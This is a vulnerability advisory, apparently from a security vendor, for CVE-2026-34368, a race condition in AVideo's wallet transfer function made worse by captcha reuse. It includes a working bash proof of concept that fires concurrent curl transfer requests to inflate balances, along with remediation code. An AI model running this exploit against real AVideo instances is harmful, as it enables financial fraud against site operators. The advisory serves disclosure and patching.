CVE-2026-34368

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance, all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE, no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']), requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE, solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer, all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40

An authenticated attacker can exploit this race condition to:

• Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
• Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
• Bypass subscription fees: Use inflated balance to purchase subscriptions.
• Financial integrity compromise: The wallet ledger becomes inconsistent, total balances across all users no longer match total deposits.

The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests, achievable with basic scripting.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-34368 has a CVSS score of 5.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:

public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
    global $global;
    
    // ... existing auth and validation checks ...
    
    $amount = floatval($amount);
    if ($amount <= 0) {
        return false;
    }

    // Use a database transaction with row-level locking
    $global['mysqli']->autocommit(false);
    $global['mysqli']->begin_transaction();
    
    try {
        // Lock sender row and read balance atomically
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $fromUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $senderRow = $result->fetch_assoc();
        $stmt->close();
        
        if (empty($senderRow)) {
            $global['mysqli']->rollback();
            return false;
        }
        
        $senderBalance = floatval($senderRow['balance']);
        $senderNewBalance = $senderBalance - $amount;
        
        if ($senderNewBalance < 0) {
            $global['mysqli']->rollback();
            return false;
        }
        
        // Atomic deduction
        $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
        $stmt->execute();
        
        if ($stmt->affected_rows === 0) {
            $global['mysqli']->rollback();
            $stmt->close();
            return false;
        }
        $stmt->close();
        
        // Credit receiver (also locked)
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $toUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $receiverRow = $result->fetch_assoc();
        $stmt->close();
        
        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;
        $sql = "UPDATE wallet SET balance = ? WHERE id = ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
        $stmt->execute();
        $stmt->close();
        
        $global['mysqli']->commit();
        
        // ... log entries ...
        
    } catch (Exception $e) {
        $global['mysqli']->rollback();
        return false;
    } finally {
        $global['mysqli']->autocommit(true);
    }
}

Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:

public static function validation($word)
{
    // ... existing checks ...
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if ($validation) {
        unset($_SESSION["palavra"]); // Consume the captcha token
    }
    return $validation;
}

1. What is CVE-2026-34368? CVE-2026-34368 is a medium-severity race condition vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
2. How severe is CVE-2026-34368? CVE-2026-34368 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-34368? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-34368? No fixed version is listed for CVE-2026-34368 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-34368 exploitable, and should I be worried? Whether CVE-2026-34368 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34368 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34368? No fixed version is listed yet. In the interim: Keep the dependency up to date. In application code, use atomic operations or locks when accessing shared state.